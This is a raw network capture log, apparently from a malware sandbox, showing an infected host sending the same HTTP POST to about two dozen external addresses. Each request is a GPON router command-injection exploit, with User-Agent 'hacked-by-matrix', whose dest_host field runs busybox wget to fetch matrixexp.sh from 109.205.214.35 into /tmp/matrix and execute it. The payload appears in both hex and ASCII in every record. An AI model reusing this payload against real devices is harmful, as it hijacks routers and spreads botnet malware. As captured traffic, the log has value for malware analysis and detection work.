Mar 21, 2024 05:23:17.713342905 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.13	49292	212.221.119.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713381052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.13	58472	109.239.22.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713408947 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.13	45076	109.243.216.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713418007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.13	40512	42.125.66.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713435888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.13	46536	109.137.248.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713491917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.13	36448	109.43.5.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713491917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.13	56940	42.65.75.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713522911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.13	53682	118.75.90.79	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713530064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.13	36582	118.101.26.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713541031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.13	56178	42.31.215.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713576078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.13	33984	42.52.191.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713598013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.13	47942	118.50.14.66	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713609934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.13	36266	109.9.183.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713655949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.13	43794	109.135.70.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713670969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.13	34970	109.107.87.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713682890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.13	45066	118.187.162.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713704109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.13	50848	212.235.130.50	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713754892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.13	40930	109.24.176.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713778019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.13	48874	212.22.84.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713788033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.13	36686	42.216.168.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713819027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.13	49366	109.143.208.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713833094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.13	53184	42.212.248.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713877916 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1212	192.168.2.13	60066	212.80.36.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:17.713906050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1213	192.168.2.13	47980	42.123.238.35	443

Timestamp	Bytes transferred	Direction	Data
